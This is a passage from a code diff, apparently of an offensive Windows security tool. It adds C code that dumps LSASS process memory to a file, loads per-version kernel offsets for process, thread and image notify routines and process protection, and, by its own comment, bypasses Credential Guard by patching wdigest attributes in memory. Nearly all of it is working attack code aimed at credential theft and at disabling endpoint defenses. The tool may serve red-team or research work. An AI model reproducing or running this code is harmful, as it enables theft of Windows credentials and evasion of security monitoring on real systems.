_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
|
||||
}
|
||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
|
||||
return 1;
|
||||
}
|
||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||
|
||||
*/
|
||||
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||
|
||||
union NtoskrnlOffsets offset_results = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offset_results;
|
||||
}
|
||||
|
||||
TCHAR lineNtoskrnlVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offset_results;
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||
|
||||
*/
|
||||
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
union WdigestOffsets wdigestOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
TCHAR wdigestVersion[256] = { 0 };
|
||||
GetWdigestVersion(wdigestVersion);
|
||||
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||
|
||||
union WdigestOffsets offsetResults = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offsetResults;
|
||||
}
|
||||
|
||||
TCHAR lineWdigestVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
// TODO: switch hardcoded value to sizeof or const defined
|
||||
for (int i = 0; i < 2; i++) {
|
||||
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offsetResults;
|
||||
}
|
||||
Reference in New Issue
Block a user